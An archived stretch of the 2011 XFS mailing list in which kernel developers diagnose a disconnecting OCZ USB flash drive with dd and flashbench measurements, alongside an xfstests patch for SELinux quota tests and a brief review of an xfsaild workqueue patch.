X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.58280 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Fri, 18 Mar 2011, Arnd Bergmann wrote: > On Friday 18 March 2011 18:45:34 Justin Piszcz wrote: >> On Fri, 18 Mar 2011, Arnd Bergmann wrote: >>> Getting back to the rogiinal question, I'd recommend testing the >>> stick by doing raw accesses instead of a file system. A simple >> >> Ok, here are the results: >> >> root@sysresccd /root % time dd if=/dev/zero of=/dev/sda oflag=direct bs=4M >> dd: writing `/dev/sda': No space left on device >> 1961+0 records in >> 1960+0 records out >> 8220835840 bytes (8.2 GB) copied, 283.744 s, 29.0 MB/s > > Ok, so no immediate problem there. > >>> I'm also interested in results from flashbench >>> (git://git.linaro.org/people/arnd/flashbench.git, e.g. like >>> http://lists.linaro.org/pipermail/flashbench-results/2011-March/000039.html) >>> That might help explain how the stick failed. >> >> Certainly, testing below, following this: >> http://lists.linaro.org/pipermail/flashbench-results/2011-March/000039.html > > I'm sorry, I should have been more specific. Unfortunately, running flashbench > is not very user friendly yet. > > The results indicate that the device does not have a 2 MB erase block size > but rather 4 or 8, which is more common on 8 GB media. > >> # ./flashbench --open-au --open-au-nr=1 /dev/sda --blocksize=8192 --erasesize=$[2* 1024 * 1024] --random >> 2MiB 29.5M/s >> 1MiB 29.1M/s >> 512KiB 28.5M/s >> 256KiB 22.8M/s >> 128KiB 23.8M/s >> 64KiB 24.4M/s >> 32KiB 18.9M/s >> 16KiB 13.1M/s >> 8KiB 8.22M/s >> >> # ./flashbench --open-au --open-au-nr=4 /dev/sda --blocksize=8192 --erasesize=$[2* 1024 * 1024] --random >> 2MiB 25.9M/s >> 1MiB 21.8M/s >> 512KiB 15M/s >> 256KiB 11.9M/s >> 128KiB 12.1M/s >> 64KiB 13.6M/s >> 32KiB 9.81M/s >> 16KiB 6.41M/s >> 8KiB 3.88M/s > > The numbers are jumping around a bit with the incorrectly guessed erasesize. > These values should be more like the ones in the first test. Can you rerun > with --erasesize=$[4 * 1024 * 1024]? Hi, I put the box back into production with ext2, if it fails again I can re-run. > > Also, what is the output of 'lsusb' for this stick? I'd like to add the > data to https://wiki.linaro.org/WorkingGroups/KernelConsolidation/Projects/FlashCardSurvey Sure, Bus 001 Device 002: ID 0325:ac02 OCZ Technology Inc ATV Turbo / Rally2 Dual Channel USB 2.0 Flash Drive > >> # ./flashbench --open-au --open-au-nr=5 /dev/sda --blocksize=8192 --erasesize=$[2* 1024 * 1024] --random >> 2MiB 29.2M/s >> 1MiB 27.8M/s >> 512KiB 18.4M/s >> 256KiB 7.82M/s >> 128KiB 4.62M/s >> 64KiB 2.47M/s >> 32KiB 1.26M/s >> 16KiB 642K/s >> 8KiB 327K/s > > This is where your drive stops coping with the accesses: Writing small > blocks to four different erase blocks (2MB for the test, probably > larger) works fine, but writing to five of them is devestating for > performance, going from 30 MB/s to 300 KB/s, or lower if you were > to write smaller than 8 KB blocks. > > The cutoff at --open-au-nr=4 is coincidentally the same as for the > SD card I was testing. This is what happens in the animation in > http://lwn.net/Articles/428799/. The example given there is for > a drive that can only have two open AUs (allocation units aka > erase blocks), while yours does 4. > >> (did not run one with 7) > > Note that the test results I had with 6 and 7 are without --random, > so the cut-off there was higher for that card when writing an > multiple erase blocks from start to finish instead of writing random > sectors inside of them. > >> # ./flashbench --findfat --fat-nr=10 /dev/sda --blocksize=1024 --erasesize=$[2* 1024 * 1024] --random >> 2MiB 22.7M/s 19.1M/s 15.5M/s 13.1M/s 29.5M/s 29.5M/s 29.6M/s 29.6M/s 29.5M/s 29.5M/s >> 1MiB 20.6M/s 13.3M/s 13.3M/s 20.8M/s 18.1M/s 17.8M/s 18M/s 18.3M/s 18.8M/s 18.6M/s >> 512KiB 18.4M/s 18.6M/s 18.3M/s 18.1M/s 23.5M/s 23.2M/s 23.5M/s 23.5M/s 23.4M/s 23.4M/s >> 256KiB 26.9M/s 21.3M/s 21.2M/s 21M/s 21.1M/s 21.2M/s 21.1M/s 21.1M/s 20.6M/s 21M/s >> 128KiB 22.2M/s 22.3M/s 22.6M/s 21.4M/s 21.5M/s 21.3M/s 21.6M/s 21.3M/s 21.4M/s 21.4M/s >> 64KiB 23.9M/s 22.6M/s 22.9M/s 23M/s 22.5M/s 22.4M/s 22.4M/s 22.4M/s 22.5M/s 22.4M/s >> 32KiB 18.2M/s 18.3M/s 18.3M/s 18.3M/s 18.3M/s 18.4M/s 18.3M/s 18.2M/s 18.3M/s 18.3M/s >> 16KiB 12.9M/s 12.9M/s 13M/s 13M/s 12.9M/s 13M/s 12.9M/s 12.9M/s 12.9M/s 12.9M/s >> 8KiB 8.14M/s 8.15M/s 8.15M/s 8.15M/s 8.15M/s 8.14M/s 8.14M/s 8.15M/s 8.15M/s 8.06M/s >> 4KiB 4.07M/s 4.08M/s 4.07M/s 4.06M/s 4.04M/s 4.04M/s 4.04M/s 4.04M/s 4.04M/s 4.04M/s >> 2KiB 2.02M/s 2.02M/s 2.02M/s 2.02M/s 2.02M/s 2.01M/s 2.01M/s 2.01M/s 2.01M/s 2.02M/s >> 1KiB 956K/s 954K/s 956K/s 953K/s 947K/s 947K/s 947K/s 950K/s 947K/s 948K/s >> > > One thing that is very clear from this is that this stick has a page size > of 8KB, and that it requires at least 64 KB transfers for the maximum speed. > > If your partition is not aligned to 8 KB or more (better: to the erase > block size, e.g. 4 MB) or if the file system writes smaller than 8 KB > naturally aligned blocks at once, the drive has to do read-modify-write > cycles that severely impact performance and the expected life-time. > > I cannot see any block that is optimzied for storing the FAT, which is > good, as this means that the manufacturer did not exclusively design > the stick for FAT32, as is normally the case with flash memory cards. > > For this stick, I would strongly recommend creating the file system > in a way that writes at least 16 KB naturally aligned blocks at all > times, but I don't know if that's supported by XFS. > > Also, the limitation of forcing a garbage collection when writing to > more than four 4 MB (or so) segments may be a problem, depending on > how XFS stores its metadata. The good news is that it can do random > write access inside of the erase blocks. > > Arnd > Thanks for your response, per the recommendations earlier I've migrated to ext2 and am running that now and I still need to read that article. Justin. From stern+4d93cd5c@rowland.harvard.edu Fri Mar 18 14:24:12 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2IJO7vf051552 for ; Fri, 18 Mar 2011 14:24:12 -0500 X-ASG-Debug-ID: 1300476413-584d01230000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from netrider.rowland.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with SMTP id 8BB035065C0 for ; Fri, 18 Mar 2011 12:26:53 -0700 (PDT) Received: from netrider.rowland.org (netrider.rowland.org [192.131.102.5]) by cuda.sgi.com with SMTP id jDwRbKmRgzPUmhrO for ; Fri, 18 Mar 2011 12:26:53 -0700 (PDT) Received: (qmail 15776 invoked by uid 500); 18 Mar 2011 15:26:52 -0400 Received: from localhost (sendmail-bs@127.0.0.1) by localhost with SMTP; 18 Mar 2011 15:26:52 -0400 Date: Fri, 18 Mar 2011 15:26:52 -0400 (EDT) From: Alan Stern X-X-Sender: stern@netrider.rowland.org To: Justin Piszcz cc: linux-usb@vger.kernel.org, , , Alan Piszcz X-ASG-Orig-Subj: Re: 2.6.38: XFS/USB/HW issue, or failing USB stick? Subject: Re: 2.6.38: XFS/USB/HW issue, or failing USB stick? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Barracuda-Connect: netrider.rowland.org[192.131.102.5] X-Barracuda-Start-Time: 1300476424 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.58281 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Fri, 18 Mar 2011, Justin Piszcz wrote: > > The stick didn't "fail" in any obvious way, but for some reason it was > > disconnected from the USB bus. (If it initiated that disconnect by > > itself, I guess you could consider that a failure.) Maybe it was > > something as simple as overheating causing a loss of electrical contact > > between the connector and the pins in the USB port. > > It is possible, but the box is kept cool: Then something else caused the disconnection. Maybe a bug in the USB stick's firmware. > >> Mar 18 08:33:06 atom [ 2283.963059] usb 1-1: new high speed USB device using ehci_hcd and address 4 > >> Mar 18 08:33:06 atom [ 2284.080647] usb 1-1: New USB device found, idVendor=0325, idProduct=ac02 > >> Mar 18 08:33:06 atom [ 2284.080707] usb 1-1: New USB device strings: Mfr=1, Product=2, SerialNumber=3 > >> Mar 18 08:33:06 atom [ 2284.080752] usb 1-1: Product: R2_TURBO > >> Mar 18 08:33:06 atom [ 2284.080794] usb 1-1: Manufacturer: OCZ Technology > >> Mar 18 08:33:06 atom [ 2284.080831] usb 1-1: SerialNumber: (removed) > > > > And then 22 seconds later it reconnected. > > > > Alan Stern > > > > Very strange, could some USB option cause this? No. > I guess next step is use > ext2 and a different stick in the same port to see if I can get it to recur. > Then if it happens again, try a different port. Okay, go ahead and see what happens. Alan Stern From sandeen@redhat.com Fri Mar 18 14:27:35 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.8 required=5.0 tests=BAYES_00,J_CHICKENPOX_72 autolearn=no version=3.4.0-r929098 Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2IJRUL4051696 for ; Fri, 18 Mar 2011 14:27:35 -0500 X-ASG-Debug-ID: 1300476626-598301b60000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mx1.redhat.com (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 6697813DA1AA for ; Fri, 18 Mar 2011 12:30:26 -0700 (PDT) Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id tOYZoqMr3nfrETIl for ; Fri, 18 Mar 2011 12:30:26 -0700 (PDT) X-ASG-Whitelist: Barracuda Reputation Received: from int-mx02.intmail.prod.int.phx2.redhat.com (int-mx02.intmail.prod.int.phx2.redhat.com [10.5.11.12]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id p2IJUPwh026585 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Fri, 18 Mar 2011 15:30:26 -0400 Received: from liberator.sandeen.net (ovpn01.gateway.prod.ext.phx2.redhat.com [10.5.9.1]) by int-mx02.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id p2IJUOSE013501 (version=TLSv1/SSLv3 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 18 Mar 2011 15:30:25 -0400 Message-ID: <4D83B2D0.1030607@redhat.com> Date: Fri, 18 Mar 2011 14:30:24 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2.15) Gecko/20110303 Thunderbird/3.1.9 MIME-Version: 1.0 To: xfs-oss X-ASG-Orig-Subj: [PATCH] xfstests: ensure selinux xattrs don't interfere with quota tests Subject: [PATCH] xfstests: ensure selinux xattrs don't interfere with quota tests Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.67 on 10.5.11.12 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1300476627 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean 219 and 235 were failing on ext3 with selinux, because the extra xattrs upped the quota usage. Do the same trick we've used in the past to mount with an selinux global context when doing quota tests. Note the gross hack for remount,ro, though. Signed-off-by: Eric Sandeen --- diff --git a/235 b/235 index 5d9c7c0..de0d0fc 100755 --- a/235 +++ b/235 @@ -61,6 +61,11 @@ chown $qa_user:$qa_user $SCRATCH_MNT/testfile repquota -u -g $SCRATCH_MNT | grep -v "^root" | _filter_scratch +# XXX This is a nasty hack. remount doesn't work on a fileystem +# with a context; see https://bugzilla.redhat.com/show_bug.cgi?id=563267 +# +# We work around it by editing the context out of mtab. Sigh. +sed -i "s#^$SCRATCH_DEV\(.*\),context=\"system_u:object_r:nfs_t:s0\"#$SCRATCH_DEV\1#" /etc/mtab mount -o remount,ro $SCRATCH_DEV 2>&1 | tee -a $seq.full | _filter_scratch touch $SCRATCH_MNT/failed 2>&1 | tee -a $seq.full | _filter_scratch mount -o remount,rw $SCRATCH_DEV 2>&1 | tee -a $seq.full | _filter_scratch diff --git a/common.quota b/common.quota index 96a36a6..3c87ce1 100644 --- a/common.quota +++ b/common.quota @@ -45,6 +45,13 @@ _require_quota() _notrun "disk quotas not supported by this filesystem type: $FSTYP" ;; esac + + # SELinux adds extra xattrs which can mess up our expected output. + # So, mount with a context, and they won't be created + # nfs_t is a "liberal" context so we can use it. + if [ -x /usr/sbin/selinuxenabled ] && /usr/sbin/selinuxenabled; then + export SELINUX_MOUNT_OPTIONS="-o context=system_u:object_r:nfs_t:s0" + fi } # From arnd@arndb.de Fri Mar 18 14:30:13 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2IJU8qQ051848 for ; Fri, 18 Mar 2011 14:30:13 -0500 X-ASG-Debug-ID: 1300476784-6e7f00a60000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from moutng.kundenserver.de (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 5D03D5065F7 for ; Fri, 18 Mar 2011 12:33:04 -0700 (PDT) Received: from moutng.kundenserver.de (moutng.kundenserver.de [212.227.126.186]) by cuda.sgi.com with ESMTP id mWytOXfyZlxs78Fg for ; Fri, 18 Mar 2011 12:33:04 -0700 (PDT) Received: from wuerfel.localnet (port-92-200-94-158.dynamic.qsc.de [92.200.94.158]) by mrelayeu.kundenserver.de (node=mrbap0) with ESMTP (Nemesis) id 0LmeMF-1PQVJs31N5-00a2Uh; Fri, 18 Mar 2011 20:33:03 +0100 From: Arnd Bergmann To: Justin Piszcz X-ASG-Orig-Subj: Re: 2.6.38: XFS/USB/HW issue, or failing USB stick? Subject: Re: 2.6.38: XFS/USB/HW issue, or failing USB stick? Date: Fri, 18 Mar 2011 20:33:02 +0100 User-Agent: KMail/1.13.5 (Linux/2.6.38-rc8+; KDE/4.5.1; x86_64; ; ) Cc: Tim Soderstrom , linux-usb@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, Alan Piszcz , flashbench-results@lists.linaro.org References: <201103182010.37455.arnd@arndb.de> In-Reply-To: MIME-Version: 1.0 Content-Type: Text/Plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Message-Id: <201103182033.02793.arnd@arndb.de> X-Provags-ID: V02:K0:qRZhx1/MvMNAMNOqzu24f28NDf3lhYLp35EJqN8D8hT KDVODHPjteNn990G9iPD004yVyeoPhDy9gjsudUqGS/jwZe9ZH B/KAXCvtfwJdQgeIttDESDCmeMkuQ3BrHqowjKBEewmZ0skcd/ BxJaAe2Lt3l8am/ySJmb9E1RG8s3UjrL5Dq7IIXW7UEeB1d46e rNU0sWJ9O5cnwoi9V5PHw== X-Barracuda-Connect: moutng.kundenserver.de[212.227.126.186] X-Barracuda-Start-Time: 1300476785 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.58281 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Friday 18 March 2011 20:26:46 Justin Piszcz wrote: > > The numbers are jumping around a bit with the incorrectly guessed erasesize. > > These values should be more like the ones in the first test. Can you rerun > > with --erasesize=$[4 * 1024 * 1024]? > Hi, I put the box back into production with ext2, if it fails again I can > re-run. Ok. Did you make sure to get the partition table right? It's rather tricky with fdisk, since it normally doesn't align to 4 MB. You can see this using 'fdisk -l -u /dev/sda'. > > Also, what is the output of 'lsusb' for this stick? I'd like to add the > > data to https://wiki.linaro.org/WorkingGroups/KernelConsolidation/Projects/FlashCardSurvey > Sure, > Bus 001 Device 002: ID 0325:ac02 OCZ Technology Inc ATV Turbo / Rally2 Dual Channel USB 2.0 Flash Drive > Added now, thanks! Do you also have the product name for this? Arnd From jpiszcz@lucidpixels.com Fri Mar 18 14:49:07 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2IJn1Z9052881 for ; Fri, 18 Mar 2011 14:49:07 -0500 X-ASG-Debug-ID: 1300477907-249902c90000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from lucidpixels.com (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id C643B14A4727 for ; Fri, 18 Mar 2011 12:51:47 -0700 (PDT) Received: from lucidpixels.com (lucidpixels.com [75.144.35.66]) by cuda.sgi.com with ESMTP id HL5dPWAKQVetnNuB for ; Fri, 18 Mar 2011 12:51:47 -0700 (PDT) Received: by lucidpixels.com (Postfix, from userid 1001) id 539E7120314; Fri, 18 Mar 2011 15:51:47 -0400 (EDT) Date: Fri, 18 Mar 2011 15:51:47 -0400 (EDT) From: Justin Piszcz To: Arnd Bergmann cc: Tim Soderstrom , linux-usb@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, Alan Piszcz , flashbench-results@lists.linaro.org X-ASG-Orig-Subj: Re: 2.6.38: XFS/USB/HW issue, or failing USB stick? Subject: Re: 2.6.38: XFS/USB/HW issue, or failing USB stick? In-Reply-To: <201103182033.02793.arnd@arndb.de> Message-ID: References: <201103182010.37455.arnd@arndb.de> <201103182033.02793.arnd@arndb.de> User-Agent: Alpine 2.02 (DEB 1266 2009-07-14) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Barracuda-Connect: lucidpixels.com[75.144.35.66] X-Barracuda-Start-Time: 1300477918 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.58282 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Fri, 18 Mar 2011, Arnd Bergmann wrote: > On Friday 18 March 2011 20:26:46 Justin Piszcz wrote: >>> The numbers are jumping around a bit with the incorrectly guessed erasesize. >>> These values should be more like the ones in the first test. Can you rerun >>> with --erasesize=$[4 * 1024 * 1024]? >> Hi, I put the box back into production with ext2, if it fails again I can >> re-run. > > Ok. Did you make sure to get the partition table right? It's > rather tricky with fdisk, since it normally doesn't align > to 4 MB. You can see this using 'fdisk -l -u /dev/sda'. Erm, probably not right then.. Disk /dev/sda: 8220 MB, 8220835840 bytes 154 heads, 56 sectors/track, 1861 cylinders, total 16056320 sectors Units = sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disk identifier: 0x99df019d Device Boot Start End Blocks Id System /dev/sda1 2048 16056319 8027136 83 Linux > >>> Also, what is the output of 'lsusb' for this stick? I'd like to add the >>> data to https://wiki.linaro.org/WorkingGroups/KernelConsolidation/Projects/FlashCardSurvey >> Sure, >> Bus 001 Device 002: ID 0325:ac02 OCZ Technology Inc ATV Turbo / Rally2 Dual Channel USB 2.0 Flash Drive >> > > Added now, thanks! > > Do you also have the product name for this? 10007937 OCZ OCZUSBR2TDC-8GB 8GB Rally2 Turbo USB 2.0 Flash Drive Retail Was $116.99 on 01-05-2009. Was purported (at the time) to be one of the fastest USB sticks available, according to benchmarks. > > Arnd > From arnd@arndb.de Fri Mar 18 15:08:55 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2IK8oUt053641 for ; Fri, 18 Mar 2011 15:08:55 -0500 X-ASG-Debug-ID: 1300479105-624c02010000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from moutng.kundenserver.de (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 9CBC514A4CD6 for ; Fri, 18 Mar 2011 13:11:45 -0700 (PDT) Received: from moutng.kundenserver.de (moutng.kundenserver.de [212.227.17.9]) by cuda.sgi.com with ESMTP id CeO9owBtB45I4EfI for ; Fri, 18 Mar 2011 13:11:45 -0700 (PDT) Received: from wuerfel.localnet (port-92-200-94-158.dynamic.qsc.de [92.200.94.158]) by mrelayeu.kundenserver.de (node=mrbap3) with ESMTP (Nemesis) id 0LgXxN-1PfJJd1zaH-00o1ke; Fri, 18 Mar 2011 21:11:44 +0100 From: Arnd Bergmann To: Justin Piszcz X-ASG-Orig-Subj: Re: 2.6.38: XFS/USB/HW issue, or failing USB stick? Subject: Re: 2.6.38: XFS/USB/HW issue, or failing USB stick? Date: Fri, 18 Mar 2011 21:11:43 +0100 User-Agent: KMail/1.13.5 (Linux/2.6.38-rc8+; KDE/4.5.1; x86_64; ; ) Cc: Tim Soderstrom , linux-usb@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, Alan Piszcz , flashbench-results@lists.linaro.org References: <201103182033.02793.arnd@arndb.de> In-Reply-To: MIME-Version: 1.0 Content-Type: Text/Plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Message-Id: <201103182111.43126.arnd@arndb.de> X-Provags-ID: V02:K0:Mxs0EjIXfDCelKAcvqw5aNukWlf47IqyWxV9UGAaIgj HsRTKNtK6jTs1tJeV6O/rnm06Tks+fz4QqJwzRc2wWVe9riiXr jNL0Xie3Oda6CVefvpzUVuiwlbAEYgWEhf4QhCl+KMzZl2vdVv /apiRIO5NqaaZwSeCpzF6fFCCx8hgUoD2nZO2//3tkwVmQlYtx b9FCs4H+Fm8llto/nD2Fw== X-Barracuda-Connect: moutng.kundenserver.de[212.227.17.9] X-Barracuda-Start-Time: 1300479106 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.58284 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Friday 18 March 2011 20:51:47 Justin Piszcz wrote: > Disk /dev/sda: 8220 MB, 8220835840 bytes > 154 heads, 56 sectors/track, 1861 cylinders, total 16056320 sectors > Units = sectors of 1 * 512 = 512 bytes > Sector size (logical/physical): 512 bytes / 512 bytes > I/O size (minimum/optimal): 512 bytes / 512 bytes > Disk identifier: 0x99df019d > > Device Boot Start End Blocks Id System > /dev/sda1 2048 16056319 8027136 83 Linux Ok, so it has the normal 1 MB alignment. That is not too bad then, no immediate reason to reformat, because ext2 doesn't understand the concept of erase blocks. If the partition was completely misaligned (old fdisk would start the first partition at sector 63 instead of 2048), that would be a much more significant problem. > >>> Also, what is the output of 'lsusb' for this stick? I'd like to add the > >>> data to https://wiki.linaro.org/WorkingGroups/KernelConsolidation/Projects/FlashCardSurvey > >> Sure, > >> Bus 001 Device 002: ID 0325:ac02 OCZ Technology Inc ATV Turbo / Rally2 Dual Channel USB 2.0 Flash Drive > >> > > > > Added now, thanks! > > > > Do you also have the product name for this? > 10007937 OCZ OCZUSBR2TDC-8GB 8GB Rally2 Turbo USB 2.0 Flash Drive Retail > Was $116.99 on 01-05-2009. > > Was purported (at the time) to be one of the fastest USB sticks available, > according to benchmarks. > Ok, thanks for the detailed information. Arnd From BATV+d71eb7a01215a94c2c6d+2764+infradead.org+hch@bombadil.srs.infradead.org Sat Mar 19 08:42:17 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2JDg7Vc097067 for ; Sat, 19 Mar 2011 08:42:17 -0500 X-ASG-Debug-ID: 1300542304-3efb03350000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from bombadil.infradead.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id DD597159A030 for ; Sat, 19 Mar 2011 06:45:04 -0700 (PDT) Received: from bombadil.infradead.org (bombadil.infradead.org [18.85.46.34]) by cuda.sgi.com with ESMTP id L04SqhDXnurEacwa for ; Sat, 19 Mar 2011 06:45:04 -0700 (PDT) X-ASG-Whitelist: Client X-ASG-Whitelist: Barracuda Reputation Received: from hch by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux)) id 1Q0wSi-0002qj-OM; Sat, 19 Mar 2011 13:45:00 +0000 Date: Sat, 19 Mar 2011 09:45:00 -0400 From: Christoph Hellwig To: Dave Chinner Cc: Christoph Hellwig , xfs@oss.sgi.com X-ASG-Orig-Subj: Re: [PATCH 5/6] xfs: convert the xfsaild threads to a workqueue Subject: Re: [PATCH 5/6] xfs: convert the xfsaild threads to a workqueue Message-ID: <20110319134500.GB10056@infradead.org> References: <1299715529-11026-1-git-send-email-david@fromorbit.com> <1299715529-11026-6-git-send-email-david@fromorbit.com> <20110310174818.GE19609@infradead.org> <20110318040648.GG30195@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20110318040648.GG30195@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[18.85.46.34] X-Barracuda-Start-Time: 1300542304 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Fri, Mar 18, 2011 at 03:06:48PM +1100, Dave Chinner wrote: > It gets used by a second caller in the next patch that uses a > timeout of zero. The idea of adding a delay to a normal push is to > rate limit the number of times we do work so we always work on > batches rather a few items at a time in multiple executions of the > work. > > I'll see if it's simpler to just do this work directly in teh > callers, though. I don't think hiding this delay (uncommented) in the workqueue use is a good idea. xlog_grant_push_ail has all the logics about when to push the AIL, so any batching should be grouped with that logic, and documented there. It in fact already has some comments static that a min/max watermark scheme would be useful. From envios15@cangumailing.com.ar Sat Mar 19 19:03:03 2011 Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2K02vHZ116715 for ; Sat, 19 Mar 2011 19:03:03 -0500 X-ASG-Debug-ID: 1300579518-10a000050000-w1Z2WR X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from 